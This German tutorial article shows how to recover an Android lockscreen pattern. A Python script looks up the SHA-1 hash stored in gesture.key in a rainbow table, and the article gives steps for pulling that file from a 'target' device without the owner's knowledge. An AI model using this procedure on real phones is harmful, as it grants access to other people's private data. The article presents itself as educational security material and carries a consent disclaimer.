Dieser Artikel ist (samt Implementierung und Beispiel-File) auch auf https://www.cyber-security.online/entschluesseln-des-android-lockscreen-patterns verfügbar.
Den ersten Teil (Mathematische Modellierung eines Brute-Force Angriffs) gibt es hier: https://www.stacklounge.de/986/informatik-artikel-entschlusseln-android-lockscreen-patterns
In diesem Teil beschäftigen wir uns mit der praktischen Durchführung eines Angriffs zur Entschlüsselung des Android Lockscreen Patterns eines Targets ohne dessen Kenntnis:
Disclaimer
Die hier beschriebene Angriffstechnik darf nur auf dem eigenen Smartphone durchgeführt werden. Auf Smartphones Dritter darf die hier beschriebene Angriffstechnik nur dann durchgeführt werden, wenn der Besitzer dieses Smartphones seine Zustimmung dafür gegeben hat. Ich übernehme keine Haftung für jedwede durch Missachtung dieser Vorgaben entstandenen Schäden! Dieser Beitrag ist lediglich zu Bildungszwecken gedacht! Don't Learn to Hack - Hack to Learn!
4. "Reverse-Engineering"
Um herauszufinden, wie Android das eingegebene Pattern intern speichert, suchen wir nach einer Implementierung, die den dafür verwendeten Algorithmus offenbart. Unter android.googlesource.com findet man hier eine Funktion 'patternToHash', die für das Hashen des eingegebenen Patterns zuständig ist:
Wie man Zeile 741 entnehmen kann, wird als Hash-Algorithmus SHA-1 genutzt. Der Code selbst ist sehr leicht nachvollziehbar. Als Parameter wird eine Liste mit Objekten vom Typ LockPatternView.Cell übergeben und in Zeile 734 die Anzahl an Verbindungspunkten geprüft, die gemäß den Standardvorgaben zwischen (einschließlich) 4 und (einschließlich) 9 liegen muss. In Zeile 735 wird ein Byte-Array-Container initialisiert, dessen Größe der Anzahl an Verbindungspunkte im Pattern (in Bytes) entspricht. Anschließend wird über die Liste iteriert und für jedes Element basierend auf der Position in der Pattern-Matrix ein Wert berechnet, der als Byte in dem Container gespeichert wird. In den Zeilen 741 bis 743 wird die Berechnung des SHA-1 Hashes für den zuvor zusammengesetzten Container ermittelt und zurückgegeben und Fehler durch eine NoSuchAlgorithmException abgefangen.
Dem Funktions-Kommentar kann man bereits entnehmen, dass diese Vorgehensweise keinen sonderlich großen Schutz bietet.
Not the most secure, but it is at least a second level of protection.
Unbekannt ist bislang noch die Implementierung der Klasse LockPatternView.Cell, die jedoch hier eingesehen werden kann. Wir extrahieren die für uns relevanten Funktionen (also all jene, die in patternToHash aufgerufen werden) und bauen uns ein Mockup, das zur Berechnung einer Rainbow-Table, mit der wir später den Angriff durchführen können, verwendet wird. Den Code für das Mockup finden Sie hier.
5. Durchführung des Angriffs
Der Angriff besteht aus insgesamt 3 Schritten:
5.1. Download der Rainbow-Table
Laden Sie sich die fertige Rainbow-Table (z. B. hier) herunter.
5.2. Extraktion des Gesture-Files vom Target
Der Pattern-Hash wird in Android in dem File 'gesture.key' gespeichert. Dieses befindet sich in dem Verzeichnis '/data/system/'. Wenn das Target-Device gerootet ist, können Sie sehr leicht darauf zugreifen und das File extrahieren. Im Regelfall liegt jedoch ein nicht gerootetes Device vor. Sollte USB-Debugging aktiviert sein, können Sie über Android Studio auf das Gesture-File zugreifen. Wenn auch das nicht möglich sein sollte, müssen Sie (hardwareunterstützt) einen kompletten Memory Dump erstellen und darin nach entsprechenden Markern suchen.
5.3. Pattern-Lookup
Nachdem Sie das Gesture-File extrahiert haben, können Sie mit dem folgenden Python-Skript den Pattern-Hash in der Rainbow Table suchen und sich so das verwendete Pattern anzeigen lassen:
import argparse
import binascii
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("gesture", help="Location of the gesture.key file.")
parser.add_argument("rainbow_table", help="Location of the rainbow table")
args = parser.parse_args()
# Read gesture file
def read_gesture(path):
with open(path, "rb") as gesture:
return gesture.read()
# Search the hash in the gesture file
def search_hash(path, hash):
with open(path, 'rb') as rainbow_table:
for line in rainbow_table:
if line.find(hash.upper()) != -1:
print('The gesture key is: ' + line.decode("utf-8")[0:line.decode("utf-8").index(';')])
# extract sha1 hash
sha1_hash = binascii.hexlify(bytearray(read_gesture(args.gesture)))
# search the rainbow table for the hash and print the result.
search_hash(args.rainbow_table, sha1_hash)
Laden Sie sich exemplarisch das folgende Gesture-File zum Testen herunter (gesture_sample.key): https://github.com/informatik-academy/Attacks-on-Android-pattern-lock/blob/master/GestureSamples/gesture_sample.key
Den in diesem File gespeicherten SHA-1 Hash können Sie sich in einem Hex-Editor ansehen:
Das Python-Skript erwartet als Parameter den Speicherort des Gesture-Files und der Rainbow Table. Starten Sie (je nach Betriebssystem) CMD/Terminal/Shell und tippen Sie folgende Befehlszeile ein:
python crack_pattern.py gesture_sample.key AndroidPatternSHA-1.txt
Als Ausgabe erhalten Sie:
The gesture key is: 1235789
Hinter diesem Code verbirgt sich folgendes Pattern:
Die Reihenfolge der Punktverbindungen ergibt sich direkt aus dem Code (erst 1, dann 2, dann 3 usw.). Das Target verwendet also ein einfaches Z-Pattern zur Authentifizierung.
Autor: Florian André Dalwigk
Das Mitglied hat durch den Artikel 50 Bonuspunkte erhalten. Schreib auch du einen Artikel.